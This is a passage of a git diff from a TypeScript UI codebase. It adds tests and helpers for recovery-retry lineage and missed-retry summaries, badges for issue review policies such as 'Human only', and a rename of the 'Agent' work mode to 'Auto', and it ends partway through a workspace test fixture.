+    expect(readRecoveryRetryLineage({ wakePolicy: null })).toBeNull();
+    expect(readRecoveryRetryLineage({ wakePolicy: { type: "wake_owner" } })).toBeNull();
+    expect(readRecoveryRetryLineage({ wakePolicy: { type: "monitor" } })).toBeNull();
+  });
+
+  it("reads the source-owner lane with its stored attempt and due time", () => {
+    const lineage = readRecoveryRetryLineage(sourceLaneAction());
+    expect(lineage).not.toBeNull();
+    expect(lineage!.lane).toBe("source_owner");
+    expect(lineage!.attempt).toBe(2);
+    expect(lineage!.maxAttempts).toBe(5);
+    expect(lineage!.attemptsRemaining).toBe(3);
+    expect(lineage!.exhausted).toBe(false);
+    expect(lineage!.nextRetryAt).toBe(at(3 * 60_000));
+    expect(lineage!.retryAgentId).toBe("agent-owner");
+    expect(lineage!.hasDurablePath).toBe(true);
+    // The source lane is the original owner retrying itself, so it reports itself as
+    // preserving the deliverable even without an explicit policy flag.
+    expect(lineage!.preservesSourceAssignee).toBe(true);
+    expect(lineage!.sourceAttempt).toBe(2);
+    expect(lineage!.sourceMaxAttempts).toBe(5);
+  });
+
+  it("marks a source lane with no attempts left as exhausted and drops its stale due time", () => {
+    const lineage = readRecoveryRetryLineage(
+      sourceLaneAction({
+        wakePolicy: {
+          type: "bounded_owner_disposition_repair",
+          attempt: 5,
+          maxAttempts: 5,
+          retryAt: at(-60_000),
+        },
+      }),
+    );
+    expect(lineage!.exhausted).toBe(true);
+    expect(lineage!.attemptsRemaining).toBe(0);
+    expect(lineage!.nextRetryAt).toBeNull();
+    expect(lineage!.hasDurablePath).toBe(false);
+  });
+
+  it("reads the manager lane and keeps the source lane's spent attempts from evidence", () => {
+    const lineage = readRecoveryRetryLineage(recoveryLaneAction());
+    expect(lineage!.lane).toBe("recovery_owner");
+    expect(lineage!.attempt).toBe(1);
+    expect(lineage!.maxAttempts).toBe(3);
+    expect(lineage!.retryAgentId).toBe("agent-manager");
+    expect(lineage!.preservesSourceAssignee).toBe(true);
+    expect(lineage!.sourceAttempt).toBe(5);
+    expect(lineage!.sourceMaxAttempts).toBe(5);
+    expect(lineage!.hasDurablePath).toBe(true);
+  });
+
+  it("treats a board escalation from this contract as an exhausted lane", () => {
+    const lineage = readRecoveryRetryLineage({
+      wakePolicy: {
+        type: "board_escalation",
+        reason: "recovery_owner_retry_exhausted",
+        attempt: 3,
+        maxAttempts: 3,
+        preservesSourceAssignee: true,
+      },
+      evidence: { sourceAttemptCount: 5, sourceMaxAttempts: 5 },
+    });
+    expect(lineage!.lane).toBe("board");
+    expect(lineage!.exhausted).toBe(true);
+    expect(lineage!.nextRetryAt).toBeNull();
+    expect(lineage!.hasDurablePath).toBe(false);
+    expect(lineage!.sourceMaxAttempts).toBe(5);
+  });
+
+  it("ignores an unrelated board escalation that is not part of the owner-sticky contract", () => {
+    expect(
+      readRecoveryRetryLineage({
+        wakePolicy: { type: "board_escalation", reason: "provider_quota" },
+        evidence: {},
+      }),
+    ).toBeNull();
+  });
+
+  it("falls back to the action's own attempt fields when the policy omits them", () => {
+    const lineage = readRecoveryRetryLineage({
+      wakePolicy: { type: "bounded_owner_disposition_repair" },
+      attemptCount: 3,
+      maxAttempts: 5,
+      timeoutAt: at(120_000),
+    });
+    expect(lineage!.attempt).toBe(3);
+    expect(lineage!.maxAttempts).toBe(5);
+    expect(lineage!.nextRetryAt).toBe(at(120_000));
+  });
+
+  it("reports no durable path when nothing is scheduled yet", () => {
+    const lineage = readRecoveryRetryLineage({
+      wakePolicy: {
+        type: "bounded_owner_disposition_repair",
+        retryAgentId: "agent-owner",
+        attempt: 1,
+        maxAttempts: 5,
+      },
+    });
+    expect(lineage!.exhausted).toBe(false);
+    expect(lineage!.hasDurablePath).toBe(false);
+  });
+
+  it("ignores an unparseable stored due time", () => {
+    const lineage = readRecoveryRetryLineage({
+      wakePolicy: {
+        type: "bounded_owner_disposition_repair",
+        attempt: 1,
+        maxAttempts: 5,
+        retryAt: "not-a-date",
+      },
+    });
+    expect(lineage!.nextRetryAt).toBeNull();
+  });
+});
+
+describe("durable-path liveness", () => {
+  it("keeps a future retry durable and not expired", () => {
+    const lineage = readRecoveryRetryLineage(
+      sourceLaneAction({
+        wakePolicy: {
+          type: "bounded_owner_disposition_repair",
+          attempt: 1,
+          maxAttempts: 5,
+          retryAt: at(5 * 60_000),
+          scheduledRunId: "run-2",
+        },
+      }),
+    )!;
+    expect(lineage.retryExpired).toBe(false);
+    expect(lineage.hasDurablePath).toBe(true);
+    expect(lineage.liveRunId).toBeNull();
+  });
+
+  it("treats a retry time in the past as expired with no durable path", () => {
+    const lineage = readRecoveryRetryLineage(
+      sourceLaneAction({
+        wakePolicy: {
+          type: "bounded_owner_disposition_repair",
+          attempt: 1,
+          maxAttempts: 5,
+          retryAt: at(-5 * 60_000),
+          scheduledRunId: "run-2",
+        },
+        timeoutAt: at(-5 * 60_000),
+      }),
+    )!;
+    // Attempts remain on paper, but the one that was promised never ran.
+    expect(lineage.exhausted).toBe(false);
+    expect(lineage.attemptsRemaining).toBe(4);
+    expect(lineage.retryExpired).toBe(true);
+    expect(lineage.hasDurablePath).toBe(false);
+  });
+
+  it("does not let a bare scheduled run id stand in for liveness", () => {
+    // The id only records that a run was created once. Without a liveness signal it proves
+    // nothing, which is why the past-due lane above stays expired despite carrying one.
+    const lineage = readRecoveryRetryLineage({
+      wakePolicy: {
+        type: "bounded_owner_disposition_repair",
+        attempt: 1,
+        maxAttempts: 5,
+        scheduledRunId: "run-2",
+      },
+    })!;
+    expect(lineage.scheduledRunId).toBe("run-2");
+    expect(lineage.liveRunId).toBeNull();
+    expect(lineage.hasDurablePath).toBe(false);
+  });
+
+  it("holds a past retry durable while a verified live run is executing it", () => {
+    const action = sourceLaneAction({
+      wakePolicy: {
+        type: "bounded_owner_disposition_repair",
+        attempt: 1,
+        maxAttempts: 5,
+        retryAt: at(-5 * 60_000),
+        scheduledRunId: "run-2",
+      },
+      timeoutAt: at(-5 * 60_000),
+    });
+    for (const status of ["queued", "running"] as const) {
+      const lineage = readRecoveryRetryLineage(action, {
+        scheduledRetry: { runId: "run-2", status },
+      })!;
+      expect(lineage.liveRunId).toBe("run-2");
+      // The due time is behind us precisely because the run picked it up.
+      expect(lineage.retryExpired).toBe(false);
+      expect(lineage.hasDurablePath).toBe(true);
+    }
+  });
+
+  it("rejects a scheduled run that is no longer live", () => {
+    const action = sourceLaneAction({
+      wakePolicy: {
+        type: "bounded_owner_disposition_repair",
+        attempt: 1,
+        maxAttempts: 5,
+        retryAt: at(-5 * 60_000),
+        scheduledRunId: "run-2",
+      },
+      timeoutAt: at(-5 * 60_000),
+    });
+    for (const status of ["cancelled", "scheduled_retry"] as const) {
+      const lineage = readRecoveryRetryLineage(action, {
+        scheduledRetry: { runId: "run-2", status },
+      })!;
+      expect(lineage.liveRunId).toBeNull();
+      expect(lineage.retryExpired).toBe(true);
+      expect(lineage.hasDurablePath).toBe(false);
+    }
+  });
+
+  it("ignores a live run that is not the one this lane parked", () => {
+    const lineage = readRecoveryRetryLineage(
+      sourceLaneAction({
+        wakePolicy: {
+          type: "bounded_owner_disposition_repair",
+          attempt: 1,
+          maxAttempts: 5,
+          retryAt: at(-5 * 60_000),
+          scheduledRunId: "run-2",
+        },
+        timeoutAt: at(-5 * 60_000),
+      }),
+      { scheduledRetry: { runId: "run-somebody-else", status: "running" } },
+    )!;
+    expect(lineage.liveRunId).toBeNull();
+    expect(lineage.hasDurablePath).toBe(false);
+  });
+
+  it("keeps an exhausted lane dead even while a live run is reported", () => {
+    const lineage = readRecoveryRetryLineage(
+      sourceLaneAction({
+        wakePolicy: {
+          type: "bounded_owner_disposition_repair",
+          attempt: 5,
+          maxAttempts: 5,
+          retryAt: at(-60_000),
+          scheduledRunId: "run-2",
+        },
+      }),
+      { scheduledRetry: { runId: "run-2", status: "running" } },
+    )!;
+    expect(lineage.exhausted).toBe(true);
+    expect(lineage.hasDurablePath).toBe(false);
+    // An exhausted lane reports no upcoming attempt, so it is not also "missed".
+    expect(lineage.retryExpired).toBe(false);
+  });
+
+  it("does not call a barely-due retry expired while surfaces still read it as now", () => {
+    const lineage = readRecoveryRetryLineage(
+      sourceLaneAction({
+        wakePolicy: {
+          type: "bounded_owner_disposition_repair",
+          attempt: 1,
+          maxAttempts: 5,
+          retryAt: at(-5_000),
+        },
+      }),
+    )!;
+    expect(formatRecoveryRetryOffset(lineage)).toBe("now");
+    expect(lineage.retryExpired).toBe(false);
+    expect(lineage.hasDurablePath).toBe(true);
+  });
+
+  it("honours an injected now", () => {
+    const action = sourceLaneAction();
+    expect(readRecoveryRetryLineage(action, { now: NOW.getTime() })!.retryExpired).toBe(false);
+    expect(
+      readRecoveryRetryLineage(action, { now: NOW.getTime() + 60 * 60_000 })!.retryExpired,
+    ).toBe(true);
+  });
+});
+
+describe("recovery lineage formatting", () => {
+  it("formats the attempt budget", () => {
+    expect(formatRecoveryAttemptLabel(readRecoveryRetryLineage(sourceLaneAction())!)).toBe(
+      "Attempt 2 of 5",
+    );
+  });
+
+  it("clamps a spent attempt count to the budget", () => {
+    const lineage = readRecoveryRetryLineage(
+      sourceLaneAction({
+        wakePolicy: { type: "bounded_owner_disposition_repair", attempt: 6, maxAttempts: 5 },
+      }),
+    )!;
+    expect(formatRecoveryAttemptLabel(lineage)).toBe("Attempt 5 of 5");
+  });
+
+  it("formats the next due time relative to now", () => {
+    const lineage = readRecoveryRetryLineage(sourceLaneAction())!;
+    expect(formatRecoveryRetryOffset(lineage)).toBe("in 3m");
+    expect(formatRecoveryLineageSummary(lineage)).toBe("Attempt 2 of 5 · next try in 3m");
+  });
+
+  it("reports a missed retry instead of an upcoming one (PAP-17561 regression)", () => {
+    // The reported false healthy state was exactly "Attempt 1 of 5 · next try 5m ago".
+    const lineage = readRecoveryRetryLineage(
+      sourceLaneAction({
+        wakePolicy: {
+          type: "bounded_owner_disposition_repair",
+          attempt: 1,
+          maxAttempts: 5,
+          retryAt: at(-5 * 60_000),
+          scheduledRunId: "run-2",
+        },
+        timeoutAt: at(-5 * 60_000),
+      }),
+    )!;
+    const summary = formatRecoveryLineageSummary(lineage);
+    expect(summary).toBe("Attempt 1 of 5 · retry missed 5m ago");
+    expect(summary).not.toContain("next try");
+  });
+
+  it("says the attempt is running when a live run is verified", () => {
+    const lineage = readRecoveryRetryLineage(
+      sourceLaneAction({
+        wakePolicy: {
+          type: "bounded_owner_disposition_repair",
+          attempt: 2,
+          maxAttempts: 5,
+          retryAt: at(-5 * 60_000),
+          scheduledRunId: "run-2",
+        },
+      }),
+      { scheduledRetry: { runId: "run-2", status: "running" } },
+    )!;
+    expect(formatRecoveryLineageSummary(lineage)).toBe("Attempt 2 of 5 · attempt running now");
+  });
+
+  it("says retries are used up when a lane is exhausted", () => {
+    const lineage = readRecoveryRetryLineage({
+      wakePolicy: {
+        type: "board_escalation",
+        reason: "recovery_owner_retry_exhausted",
+        attempt: 3,
+        maxAttempts: 3,
+        preservesSourceAssignee: true,
+      },
+    })!;
+    expect(formatRecoveryRetryOffset(lineage)).toBeNull();
+    expect(formatRecoveryLineageSummary(lineage)).toBe("Attempt 3 of 3 · retries used up");
+  });
+});
diff --git a/ui/src/lib/recovery-lineage.ts b/ui/src/lib/recovery-lineage.ts
new file mode 100644
index 00000000000..efb2809a1b2
--- /dev/null
+++ b/ui/src/lib/recovery-lineage.ts
@@ -0,0 +1,232 @@
+import type { IssueRecoveryAction, IssueScheduledRetry } from "@paperclipai/shared";
+import { formatMonitorOffset } from "./issue-monitor";
+
+/**
+ * Which bounded retry budget the server is currently spending on a recovery action.
+ *
+ * The owner-sticky contract keeps one recovery-action row per source issue and rewrites
+ * its `wakePolicy` as the action moves between budgets: the original owner's repair
+ * attempts, then a manager's path-repair attempts, then the board. The policy type is
+ * therefore the canonical lane signal — every surface reads the same stored value rather
+ * than re-deriving liveness on its own.
+ */
+export type RecoveryRetryLane = "source_owner" | "recovery_owner" | "board";
+
+export interface RecoveryRetryLineage {
+  lane: RecoveryRetryLane;
+  /** Attempts already spent in the current lane. 0 before the first attempt is scheduled. */
+  attempt: number;
+  maxAttempts: number | null;
+  attemptsRemaining: number | null;
+  /** The lane has no attempts left (always true once the board owns the action). */
+  exhausted: boolean;
+  /** When the stored next attempt is due, as an ISO string. Null once a lane is exhausted. */
+  nextRetryAt: string | null;
+  /**
+   * The stored attempt came due and nothing picked it up. The row still reports the time it
+   * was due — an expired attempt is a missed promise worth showing, not a fact to hide — but
+   * it no longer counts as a path anyone is waiting on.
+   */
+  retryExpired: boolean;
+  /** The run the server parked for the next attempt, when it recorded one. */
+  scheduledRunId: string | null;
+  /**
+   * The parked run, once a caller has confirmed it is genuinely in flight. A bare
+   * `scheduledRunId` is only a record that a run was once created, so it is never enough on
+   * its own; this field is set only from a liveness signal the caller passed in.
+   */
+  liveRunId: string | null;
+  /** The agent the stored attempt will wake. */
+  retryAgentId: string | null;
+  /** The server recorded that this lane does not move the source deliverable. */
+  preservesSourceAssignee: boolean;
+  /** Attempts the original owner spent before the manager lane opened. */
+  sourceAttempt: number | null;
+  sourceMaxAttempts: number | null;
+  /**
+   * Something will still move this lane forward without anyone intervening: either a stored
+   * attempt that is still ahead of us, or a parked run confirmed to be in flight. This — not
+   * the mere existence of an open recovery action, and not a due time that already passed —
+   * is what keeps a surface quiet.
+   */
+  hasDurablePath: boolean;
+}
+
+const SOURCE_LANE_POLICY = "bounded_owner_disposition_repair";
+const RECOVERY_LANE_POLICY = "bounded_recovery_owner";
+const BOARD_LANE_POLICY = "board_escalation";
+
+/** Scheduled-run states that mean the parked attempt is actually in flight right now. */
+const LIVE_SCHEDULED_RUN_STATUSES = new Set(["queued", "running"]);
+
+/**
+ * How far past its due time a stored attempt may sit before it counts as missed.
+ *
+ * `formatMonitorOffset` collapses anything inside a minute-rounded zero to "now", so reusing
+ * that same band keeps the label and the verdict from ever contradicting each other: while a
+ * surface still reads "next try now", the lane is still treated as durable. Past that, the
+ * scheduler had its chance and did not take it.
+ */
+const RETRY_EXPIRY_GRACE_MS = 30_000;
+
+export type RecoveryLineageInput = Pick<IssueRecoveryAction, "wakePolicy"> &
+  Partial<Pick<IssueRecoveryAction, "evidence" | "attemptCount" | "maxAttempts" | "timeoutAt">>;
+
+/**
+ * The source issue's scheduled-retry record, which is what lets a surface tell a run that is
+ * really executing from a run id the server wrote down once and never started.
+ */
+export type RecoveryScheduledRetryInput = Partial<Pick<IssueScheduledRetry, "runId" | "status">>;
+
+/**
+ * Everything outside the stored action that decides whether a lane is still live. Callers
+ * that cannot observe the scheduled run leave `scheduledRetry` unset and get the conservative
+ * answer, so a surface can under-promise but never over-promise.
+ */
+export interface RecoveryLivenessContext {
+  /** Epoch ms to treat as now. Defaults to the wall clock. */
+  now?: number;
+  scheduledRetry?: RecoveryScheduledRetryInput | null;
+}
+
+function asRecord(value: unknown): Record<string, unknown> | null {
+  return value && typeof value === "object" && !Array.isArray(value)
+    ? (value as Record<string, unknown>)
+    : null;
+}
+
+function asNonEmptyString(value: unknown): string | null {
+  if (typeof value !== "string") return null;
+  const trimmed = value.trim();
+  return trimmed.length > 0 ? trimmed : null;
+}
+
+function asCount(value: unknown): number | null {
+  if (typeof value !== "number" || !Number.isFinite(value)) return null;
+  const floored = Math.floor(value);
+  return floored >= 0 ? floored : null;
+}
+
+function asIsoDate(value: unknown): string | null {
+  if (!value) return null;
+  if (!(value instanceof Date) && typeof value !== "string") return null;
+  const date = value instanceof Date ? value : new Date(value);
+  return Number.isNaN(date.getTime()) ? null : date.toISOString();
+}
+
+/**
+ * Confirm the parked run is in flight. When the policy named a specific run, only that run
+ * counts — a different live run on the issue is someone else's work and says nothing about
+ * whether this retry will happen.
+ */
+function resolveLiveRunId(
+  scheduledRunId: string | null,
+  scheduledRetry: RecoveryScheduledRetryInput | null | undefined,
+): string | null {
+  if (!scheduledRetry) return null;
+  const runId = asNonEmptyString(scheduledRetry.runId);
+  const status = asNonEmptyString(scheduledRetry.status);
+  if (!runId || !status || !LIVE_SCHEDULED_RUN_STATUSES.has(status)) return null;
+  if (scheduledRunId !== null && scheduledRunId !== runId) return null;
+  return runId;
+}
+
+/**
+ * Read the bounded retry lineage the server stored on a recovery action, or null when the
+ * action does not carry one (older kinds, or a board escalation that is not part of the
+ * owner-sticky contract).
+ */
+export function readRecoveryRetryLineage(
+  action: RecoveryLineageInput,
+  context?: RecoveryLivenessContext,
+): RecoveryRetryLineage | null {
+  const policy = asRecord(action.wakePolicy);
+  if (!policy) return null;
+  const type = asNonEmptyString(policy.type);
+  const preservesSourceAssignee = policy.preservesSourceAssignee === true;
+  const evidence = asRecord(action.evidence) ?? {};
+  const evidenceSourceAttempt = asCount(evidence.sourceAttemptCount);
+  const evidenceSourceMaxAttempts = asCount(evidence.sourceMaxAttempts);
+
+  let lane: RecoveryRetryLane;
+  if (type === SOURCE_LANE_POLICY) lane = "source_owner";
+  else if (type === RECOVERY_LANE_POLICY) lane = "recovery_owner";
+  else if (
+    type === BOARD_LANE_POLICY &&
+    (preservesSourceAssignee || evidenceSourceMaxAttempts !== null)
+  ) {
+    lane = "board";
+  } else return null;
+
+  const attempt = asCount(policy.attempt) ?? asCount(action.attemptCount) ?? 0;
+  const maxAttempts = asCount(policy.maxAttempts) ?? asCount(action.maxAttempts);
+  const scheduledRunId = asNonEmptyString(policy.scheduledRunId);
+  const storedRetryAt = asIsoDate(policy.retryAt) ?? asIsoDate(action.timeoutAt);
+  const exhausted = lane === "board" || (maxAttempts !== null && attempt >= maxAttempts);
+  const nextRetryAt = exhausted ? null : storedRetryAt;
+  const liveRunId = resolveLiveRunId(scheduledRunId, context?.scheduledRetry);
+  // A run that is already executing is the reason its due time is behind us, so a confirmed
+  // live run is never "missed" — it is the attempt happening.
+  const retryExpired =
+    !exhausted &&
+    liveRunId === null &&
+    nextRetryAt !== null &&
+    Date.parse(nextRetryAt) + RETRY_EXPIRY_GRACE_MS < (context?.now ?? Date.now());
+
+  return {
+    lane,
+    attempt,
+    maxAttempts,
+    attemptsRemaining: maxAttempts === null ? null : Math.max(0, maxAttempts - attempt),
+    exhausted,
+    nextRetryAt,
+    retryExpired,
+    scheduledRunId,
+    liveRunId,
+    retryAgentId: asNonEmptyString(policy.retryAgentId) ?? asNonEmptyString(policy.ownerAgentId),
+    preservesSourceAssignee: preservesSourceAssignee || lane === "source_owner",
+    sourceAttempt: lane === "source_owner" ? attempt : evidenceSourceAttempt,
+    sourceMaxAttempts: lane === "source_owner" ? maxAttempts : evidenceSourceMaxAttempts,
+    hasDurablePath:
+      !exhausted && (liveRunId !== null || (nextRetryAt !== null && !retryExpired)),
+  };
+}
+
+/** "Attempt 2 of 5", or null when the server did not record a bounded budget. */
+export function formatRecoveryAttemptLabel(lineage: RecoveryRetryLineage): string | null {
+  if (lineage.maxAttempts === null) return null;
+  return `Attempt ${Math.min(lineage.attempt, lineage.maxAttempts)} of ${lineage.maxAttempts}`;
+}
+
+/** "in 3m" / "now" / "3m ago" for the stored next attempt, or null when none is stored. */
+export function formatRecoveryRetryOffset(lineage: RecoveryRetryLineage): string | null {
+  if (!lineage.nextRetryAt) return null;
+  try {
+    return formatMonitorOffset(lineage.nextRetryAt);
+  } catch {
+    return null;
+  }
+}
+
+/**
+ * One compact sentence fragment shared by the card and the blocker chips so every surface
+ * reports the same attempt count and due time.
+ */
+export function formatRecoveryLineageSummary(lineage: RecoveryRetryLineage): string | null {
+  const parts: string[] = [];
+  const attempt = formatRecoveryAttemptLabel(lineage);
+  if (attempt) parts.push(attempt);
+  const offset = formatRecoveryRetryOffset(lineage);
+  if (lineage.liveRunId) {
+    parts.push("attempt running now");
+  } else if (lineage.retryExpired) {
+    // Never "next try 5m ago": a due time in the past is a missed attempt, and phrasing it as
+    // an upcoming one is exactly the false healthy state this helper exists to prevent.
+    parts.push(offset ? `retry missed ${offset}` : "retry missed");
+  } else if (offset) {
+    parts.push(offset === "now" ? "next try now" : `next try ${offset}`);
+  } else if (lineage.exhausted) {
+    parts.push("retries used up");
+  }
+  return parts.length > 0 ? parts.join(" · ") : null;
+}
diff --git a/ui/src/lib/review-policy.test.ts b/ui/src/lib/review-policy.test.ts
new file mode 100644
index 00000000000..a6667dc5f7f
--- /dev/null
+++ b/ui/src/lib/review-policy.test.ts
@@ -0,0 +1,64 @@
+import { describe, expect, it } from "vitest";
+
+import {
+  formatReviewPolicyValue,
+  issueReviewPolicyBadge,
+  readIssueReviewPolicyMetadata,
+} from "./review-policy";
+
+describe("issueReviewPolicyBadge", () => {
+  // The default is what every issue already does, so it earns no pixels.
+  it("shows nothing for the default, however the column spells it", () => {
+    expect(issueReviewPolicyBadge(null)).toBeNull();
+    expect(issueReviewPolicyBadge(undefined)).toBeNull();
+    expect(issueReviewPolicyBadge("anyone")).toBeNull();
+  });
+
+  it("badges each opt-in constraint in the board's words", () => {
+    expect(issueReviewPolicyBadge("not_creator")?.label).toBe("Anyone else");
+    expect(issueReviewPolicyBadge("human_only")?.label).toBe("Human only");
+  });
+
+  it("spells the rule out in the tooltip so the badge is recoverable", () => {
+    expect(issueReviewPolicyBadge("not_creator")?.description).toContain("asked for the review");
+    expect(issueReviewPolicyBadge("human_only")?.description).toContain("Agents cannot");
+  });
+
+  it("shows nothing for a policy this build does not know", () => {
+    expect(issueReviewPolicyBadge("board_only" as never)).toBeNull();
+  });
+});
+
+describe("formatReviewPolicyValue", () => {
+  it("reads a cleared policy as 'anyone', never as 'none'", () => {
+    expect(formatReviewPolicyValue(null)).toBe("anyone");
+    expect(formatReviewPolicyValue(undefined)).toBe("anyone");
+    expect(formatReviewPolicyValue("anyone")).toBe("anyone");
+  });
+
+  it("uses the badge wording mid-sentence so a receipt matches the badge", () => {
+    expect(formatReviewPolicyValue("not_creator")).toBe("anyone else");
+    expect(formatReviewPolicyValue("human_only")).toBe("human only");
+  });
+
+  it("humanizes an unknown policy rather than hiding it", () => {
+    expect(formatReviewPolicyValue("board_only")).toBe("board only");
+  });
+});
+
+describe("readIssueReviewPolicyMetadata", () => {
+  it("reads the policy off an attention subject's metadata bag", () => {
+    expect(readIssueReviewPolicyMetadata({ reviewPolicy: "human_only" })).toBe("human_only");
+  });
+
+  it("returns null when the subject carries no policy", () => {
+    expect(readIssueReviewPolicyMetadata(null)).toBeNull();
+    expect(readIssueReviewPolicyMetadata(undefined)).toBeNull();
+    expect(readIssueReviewPolicyMetadata({ priority: "high" })).toBeNull();
+  });
+
+  it("rejects a value outside the enum instead of trusting the wire", () => {
+    expect(readIssueReviewPolicyMetadata({ reviewPolicy: "board_only" })).toBeNull();
+    expect(readIssueReviewPolicyMetadata({ reviewPolicy: 3 })).toBeNull();
+  });
+});
diff --git a/ui/src/lib/review-policy.ts b/ui/src/lib/review-policy.ts
new file mode 100644
index 00000000000..a97f23ba26e
--- /dev/null
+++ b/ui/src/lib/review-policy.ts
@@ -0,0 +1,88 @@
+import { UserCheck, UserMinus, type LucideIcon } from "lucide-react";
+import { ISSUE_REVIEW_POLICIES, type IssueReviewPolicy } from "@paperclipai/shared";
+
+/**
+ * Copy for an issue's `reviewPolicy` (PAP-16506 P4).
+ *
+ * `in_review` means the work needs a verdict, and by default anyone with write
+ * access can give it — people and agents alike, including the agent that did the
+ * work. That default needs no UI at all: it is what every issue already does,
+ * and there is no control for changing it. Only an agent sets the column, and
+ * only the two opt-in constraints are worth showing:
+ *
+ * - `not_creator` — "Anyone else": the reviewer must not be the requester.
+ * - `human_only` — "Human only": an agent cannot give the verdict.
+ *
+ * A `null` or `"anyone"` column renders nothing. Every surface that shows the
+ * policy routes through {@link issueReviewPolicyBadge} so the review card, the
+ * issue properties row, and the activity receipt cannot drift from each other or
+ * from the server's refusal copy in `server/src/services/issue-review-policy.ts`.
+ */
+
+export interface IssueReviewPolicyBadge {
+  value: IssueReviewPolicy;
+  /** Badge text. */
+  label: string;
+  /** Tooltip — the rule the server enforces, spelled out. */
+  description: string;
+  Icon: LucideIcon;
+}
+
+/** Only the constrained policies are shown; `anyone` is the silent default. */
+const BADGES: Partial<Record<IssueReviewPolicy, IssueReviewPolicyBadge>> = {
+  not_creator: {
+    value: "not_creator",
+    label: "Anyone else",
+    description: "Anyone except whoever asked for the review can approve it.",
+    Icon: UserMinus,
+  },
+  human_only: {
+    value: "human_only",
+    label: "Human only",
+    description: "Only a person can approve this review. Agents cannot give the verdict.",
+    Icon: UserCheck,
+  },
+};
+
+/** Mid-sentence wording for activity lines and field-change receipts. */
+const VALUE_LABELS: Record<IssueReviewPolicy, string> = {
+  anyone: "anyone",
+  not_creator: "anyone else",
+  human_only: "human only",
+};
+
+/**
+ * The badge for a policy, or `null` when there is nothing to show — which is the
+ * common case, since an unset column means the default "anyone can approve".
+ */
+export function issueReviewPolicyBadge(
+  policy: IssueReviewPolicy | null | undefined,
+): IssueReviewPolicyBadge | null {
+  if (typeof policy !== "string") return null;
+  return BADGES[policy as IssueReviewPolicy] ?? null;
+}
+
+/**
+ * Mid-sentence wording for an activity line or a field-change receipt, where a
+ * cleared column must read "anyone" rather than "none".
+ */
+export function formatReviewPolicyValue(value: unknown): string {
+  if (value === null || value === undefined) return VALUE_LABELS.anyone;
+  if (typeof value !== "string") return VALUE_LABELS.anyone;
+  // Forward-compatible: a policy this build does not know reads as itself.
+  return VALUE_LABELS[value as IssueReviewPolicy] ?? value.replace(/_/g, " ");
+}
+
+/**
+ * Read the policy off an untyped `AttentionSubject.metadata` bag. Absent or
+ * unrecognised → `null`, which every consumer treats as the default.
+ */
+export function readIssueReviewPolicyMetadata(
+  metadata: Record<string, unknown> | null | undefined,
+): IssueReviewPolicy | null {
+  const raw = metadata?.reviewPolicy;
+  if (typeof raw !== "string") return null;
+  return (ISSUE_REVIEW_POLICIES as readonly string[]).includes(raw)
+    ? (raw as IssueReviewPolicy)
+    : null;
+}
diff --git a/ui/src/lib/work-mode-meta.test.ts b/ui/src/lib/work-mode-meta.test.ts
index bec8a423209..6c3e6718227 100644
--- a/ui/src/lib/work-mode-meta.test.ts
+++ b/ui/src/lib/work-mode-meta.test.ts
@@ -3,19 +3,19 @@ import { describe, expect, it } from "vitest";
 import { nextWorkMode, titleForPendingWorkMode, workModeMetaList } from "./work-mode-meta";
 
 describe("work mode metadata", () => {
-  it("orders issue work modes as agent, planning, then ask", () => {
+  it("orders issue work modes as auto, planning, then ask", () => {
     expect(workModeMetaList().map((mode) => mode.value)).toEqual(["standard", "planning", "ask"]);
-    expect(workModeMetaList().map((mode) => mode.shortLabel)).toEqual(["Agent", "Plan", "Ask"]);
+    expect(workModeMetaList().map((mode) => mode.label)).toEqual(["Auto mode", "Plan mode", "Ask mode"]);
   });
 
-  it("cycles issue work modes as agent, planning, ask, then agent", () => {
+  it("cycles issue work modes as auto, planning, ask, then auto", () => {
     expect(nextWorkMode("standard")).toBe("planning");
     expect(nextWorkMode("planning")).toBe("ask");
     expect(nextWorkMode("ask")).toBe("standard");
   });
 
   it("uses graduated tooltip copy", () => {
-    expect(titleForPendingWorkMode("standard")).toBe("Agent mode for this submission. Click to change.");
+    expect(titleForPendingWorkMode("standard")).toBe("Auto mode for this submission. Click to change.");
     expect(titleForPendingWorkMode("planning")).toBe("Plan mode is on for this submission. Click to change.");
   });
 });
diff --git a/ui/src/lib/work-mode-meta.ts b/ui/src/lib/work-mode-meta.ts
index 19a8404d392..3a40a07b585 100644
--- a/ui/src/lib/work-mode-meta.ts
+++ b/ui/src/lib/work-mode-meta.ts
@@ -6,7 +6,6 @@ export type WorkModeTone = "neutral" | "ask" | "planning";
 export interface WorkModeMeta {
   value: IssueWorkMode;
   label: string;
-  shortLabel: string;
   icon: LucideIcon;
   tone: WorkModeTone;
   classes: {
@@ -46,8 +45,7 @@ export function workModeMetaList(): WorkModeMeta[] {
   return [
     {
       value: "standard",
-      label: "Agent mode",
-      shortLabel: "Agent",
+      label: "Auto mode",
       icon: Hammer,
       tone: "neutral",
       classes: STANDARD_CLASSES,
@@ -55,7 +53,6 @@ export function workModeMetaList(): WorkModeMeta[] {
     {
       value: "planning",
       label: "Plan mode",
-      shortLabel: "Plan",
       icon: ClipboardList,
       tone: "planning",
       classes: PLANNING_CLASSES,
@@ -63,7 +60,6 @@ export function workModeMetaList(): WorkModeMeta[] {
     {
       value: "ask",
       label: "Ask mode",
-      shortLabel: "Ask",
       icon: MessageCircleQuestion,
       tone: "ask",
       classes: ASK_CLASSES,
@@ -89,5 +85,5 @@ export function titleForPendingWorkMode(mode: IssueWorkMode): string {
   if (mode === "planning") {
     return "Plan mode is on for this submission. Click to change.";
   }
-  return "Agent mode for this submission. Click to change.";
+  return "Auto mode for this submission. Click to change.";
 }
diff --git a/ui/src/lib/workspace-access-state.test.ts b/ui/src/lib/workspace-access-state.test.ts
new file mode 100644
index 00000000000..594a2feb5ae
--- /dev/null
+++ b/ui/src/lib/workspace-access-state.test.ts
@@ -0,0 +1,410 @@
+import type { WorkspaceOperation, WorkspaceRuntimeService } from "@paperclipai/shared";
+import { describe, expect, it } from "vitest";
+import {
+  describeWorkspaceReadinessCause,
+  resolveWorkspaceAccessState,
+} from "./workspace-access-state";
+
+function runtimeService(overrides: Partial<WorkspaceRuntimeService> = {}): WorkspaceRuntimeService {
+  return {
+    id: "runtime-1",
+    companyId: "company-1",
+    projectId: "project-1",
+    projectWorkspaceId: null,
+    executionWorkspaceId: "ews-1",
+    issueId: null,
+    scopeType: "execution_workspace",
+    scopeId: "ews-1",
+    serviceName: "paperclip-dev",
+    status: "running",
+    lifecycle: "shared",
+    reuseKey: null,
+    command: "pnpm dev:once",
+    cwd: "/srv/worktree",
+    port: 42013,
+    url: "https://workspace.example.ts.net:42013/",
+    provider: "local_process",
+    providerRef: null,
+    ownerAgentId: null,
+    startedByRunId: null,
